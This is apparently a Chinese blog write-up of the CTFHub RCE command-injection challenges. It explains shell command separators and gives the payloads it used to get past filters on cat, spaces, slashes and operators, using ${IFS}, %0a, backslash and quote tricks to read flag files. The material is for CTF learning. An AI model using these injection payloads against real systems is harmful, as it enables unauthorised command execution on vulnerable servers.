ctfhub中RCE命令注入

一.实验环境ctfhub
RCE知识点:
rce分为远程执行ping,和远程代码执行evel。
漏洞出现原因:未在输入口做输入处理。
涉及到ping命令:ping是windows,linux系统下的一个命令,ping也属于一个通信协议,是TCP/IP协议的一部分,利用ping命令可以检查网络是否连通,可以很好的帮助我们分析和判定网络故障。

LINUX系统的管道符:

1," ; ": 执行完前面的语句在执行后面的语句。
2.“ | “: 显示后面的语句的执行结果。
3.” || “:当前的语句执行出错时,执行后面的语句。
4.” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5.” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。

还有一些管道符
windows系统是:
1. "  |  " :是直接后面的执行语句
2. “  || ” :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
3. " & "两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. " && ":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。


1.命令注入
直接输入127.0.0.1 & ls
ls就是列出当前目录下所有文件
然后发现php文件,执行127.0.0.1 & cat 221341753730987.php即可。然后查看源代码就发现了答案。

2.过滤cat
1.已知过滤了cat,所以就要搞事情了,有一种方法就是,ca\t,就是通过反斜杠,还是可以继续执行cat的功能。
输入127.0.0.1 & ls
还是可以看到一个php文件。
执行127.0.0.1 & ca\t flag_19559862332757.php
查看网页源代码即可。

3.过滤空格
知识点:空格可以替换 <,<>, ${IFS},  $IFS,%20(space),  %09(tab),   $IFS$9,
还是先127.0.0.1 & ls
看到了一个php文件
因为空格被过滤,所以
127.0.0.1&cat 查看网页源代码就有答案了哈。
4.过滤目录分隔符,就是将 /过滤了

还是先ping一下

127.0.0.1

返回正常数据,使用管道符查看当前的位置文件有哪些

127.0.0.1|ls

回显是一个flag_is_here

使用;cd flag_is_here&&ls
回显了一个php文件

;cd flag_is_here&&cat flag_24324515113881.php
查看即可,查看源码

5.过滤运算符

我直接执行了127.0.0.1;ls

直接查看到了PHP文件。

直接回显文件说明中间不含有文件夹了,直接包含的文件,直接查询。

127.0.0.1;cat flag_7861165715441.php

查看源码即可

6.综合过滤

工具:burpsuite

知识点:运算符分号可以用 %0a,%0d,%0D%0A替代。

flag可以用${IFS}fl$*ag_id_here这样替代。

看题,源码可知过滤很多东西。

(1)我们首先127.0.0.1&ls提交并且用bp抓包。

(2)抓包后改为127.0.0.1%0als,go一下

(3)发现了flag_is_here

(4)继续查看这个文件127.0.0.1%0als${IFS}fl$*ag_is_here继续go一下

(5)得到了一个flag文件

(6)继续进入目录查看文件即可

(7)原本应该这样子写但是由于过滤了所以要写成下面的样子127.0.0.1;cd flag_is_here;cat flag_31441137586545.php

(8)  127.0.0.1%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}fl$*ag_31441137586545.php

你可能感兴趣的:(web)